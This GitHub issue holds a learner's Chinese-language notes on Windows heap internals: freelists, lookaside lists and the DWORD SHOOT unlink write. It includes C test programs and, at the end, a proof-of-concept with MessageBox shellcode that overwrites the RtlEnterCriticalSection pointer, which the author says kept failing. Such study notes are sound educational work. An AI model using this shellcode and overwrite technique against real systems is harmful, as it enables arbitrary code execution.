Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Windows堆溢出 #18

Open
xinali opened this issue Mar 6, 2018 · 0 comments
Open

Windows堆溢出 #18

xinali opened this issue Mar 6, 2018 · 0 comments

Comments

@xinali
Copy link
Owner

xinali commented Mar 6, 2018

堆溢出

堆结构

堆和栈的结构差异很大,堆的分配以块为单位,分为块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。

占用态堆块结构

空闲态堆块

可以看出空闲状态下是有前后块指针的,占用态没有

空表

由空闲堆块组成的双向链表,空表总共有128条,具体结构如下图

空表连接的都是空闲堆块,某个块被分配使用时,空表就会将该块从表中摘除,当被释放后,又会再次连接到空表上
通过0day中给出的代码进行一段测试,测试代码:

#include <windows.h>
main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	//free block and prevent coaleses
	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	
	HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
	
	return 0;
}

按照0day书上的环境,并设置好后,od成功拦截

分配的堆的首地址0x00310000,其中位移0x178处指向分配的空表的尾块0x0688,再看0x688处的数据

其中0x688指的是其数据部分,它的块首是向前8个字节0x680,根据其c源码,每个HeapAlloc分配的空间如下

空表分配

根据空表的分配规则,以及上节中得出的每个块应该分配的大小,可以得出如下的分配地址列表


再通过od进行验证

H1

H2

H3


H4

H5

H6

可以发现每一步跟我们根据规则画出来的分配都是相同的

空表释放与合并

第一步,释放H1,空闲空间是8bytes,所以其释放完后应该挂在free[1]上

未释放前free[1]应该是这样的

+------+------+------+
|      | 0188 | 0188 |
+------+------+------+

验证一下

Free,根据规则应该是这样的

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |
                           |
0688                       |           
+------+------+------+     |
|      | 0188 | 0188 |-----+
+------+------+------+

free1的后指针指向0x688这个堆块,堆块的前后指针均指向0188,验证一下

释放H3

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |                       
0688                       |           
+------+------+------+     |
|      | 0188 | 06A8 |<----+
+------+------+------+     | 
06A8                       |           
+------+------+------+     |
|      | 0688 | 0188 |-----+
+------+------+------+

free[1]后挂了两块不连续的空闲块!验证一下

释放H5
根据规则,我们可以得出

01A8
+------+------+------+
|      | 0xxx | 06C8 |<----+
+------+------+------+     |
                           |
06C8                       |           
+------+------+------+     |
|      | 01A8 | 01A8 |-----+
+------+------+------+

但是结果跟猜想的不一样

按照0day书中所说,

0178 -> free[0] 跟着大块
0188 -> free[1] 跟着8bytes
0198 -> free[2] 跟着16bytes
01A8 -> free[3] 跟着24bytes
01B8 -> free[4] 跟着32bytes

但是这里却不是01A8,而是0198,没有弄明白是为什么。。。。。

释放H4
因为H3,H4,H5是连在一起的,所以需要合并,合并的总空间是32个空闲字节,所以应该挂在01B8即free[4]上

01A8
+------+------+------+
|      | 0xxx | 06A8 |<----+
+------+------+------+     |
                           |
06A8                       |           
+------+------+------+     |
|      | 01B8 | 01B8 |-----+
+------+------+------+

验证一下

空表的分配,释放和合并分析完毕!

快表

根据0day书中的描述,开始时快表是空的,堆管理器首先从空表上分配给HeapAlloc,等到HeapFree释放空间再将其链入快表中。利用如下代码进行测试

#include <stdio.h>
#include <windows.h>
void main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h2);
}

查看一下偏移位置0x178

可以看到已经不是0x00310688了,变为了0x00311E90,再来看看0x688处的快表,根据0day书中所说lookaside从0x6B8开始,每48个字节算一个lookaside首项,现在lookaside[1]等都是0

往下依次类推。等到第一次HeapFree之后再看

已经得到了分配后释放的堆块,并且链入了快表,再看释放4次之后

可以看到0x6E8处的值,经过4次释放变为00311EA0,再看一下00311EA0

其指向了第一次释放的位置,由此可知后释放的空间会插入先前插入的位置的前面。再次分配会优先分配快表

分配16字节之后,lookaside[2]不再有空间。快表的分配,释放分析结束

DWORD SHOOT

空表由双向链表构成,双向链表在拆卸的过程中会发生如下的操作

int  remove (ListNode *node) 
{
    node->blink->flink = node->flink; 
    node->flink->blink = node->blink;
    return 0;
}

具体的操作可以参照0day中的图,如下

其实总结起来就是[blink]=flink数据

测试地址写入

测试代码

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	__asm int 3;
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

根据DWORD SHOOT的定义,我们人为的构造一下,将8888888写入地址00000022

产生错误

可以看出是前向指针中的数据写入了后向指针中所表示的地址。

测试MessageBOx弹窗

这里主要依据的就是windows为了同步进程中的多个线程,使用了一些同步措施,如锁机制,信号量等,当进程退出时,ExitProcess函数需要做很多的工作,其中就会用到RtlEnterCriticalSectionRtlLeaveCriticalSection,指向前一个函数的指针存放在0x7FFDF020,即进程退出时会到这个地址取出RtlEnterCriticalSection函数的指针,并执行该函数,所以我们需要利用堆溢出中的DWORD SHOOT技术将shellcode的地址写入0x7FFDF020中。

找到RtlEnterCriticalSection函数地址

地址为0x77F82060,再确定shellcode的地址,具体测试代码如下

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x20\xf0\xfd\x7f"
"\xbb\x60\x20\xf8\x77"		// RtlEnterCriticalSection的地址0x77f86020通过调试得到, 用来使shellcode调用ExitProcess时不产生异常
"\x89\x18"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x30\x75\x6e\x67\x68\x77\x6f\x6f\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00\x20\xf0\xfd\x7f";		// 0x00310688 shellcode起始地址, 0x7ffdf020 RtlEnterCriticalSection的指针地址(固定不变)

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	//__asm int 3;
	//EnterCriticalSection(0);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,0x200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

但是测试过程中始终失败,具体也找不到什么原因。

@xinali xinali changed the title windows下堆溢出基础 Windows Heapoverflow Apr 12, 2018
@xinali xinali changed the title Windows Heapoverflow Windows Heap Overflow Apr 12, 2018
@xinali xinali changed the title Windows Heap Overflow Windows堆溢出 Nov 18, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant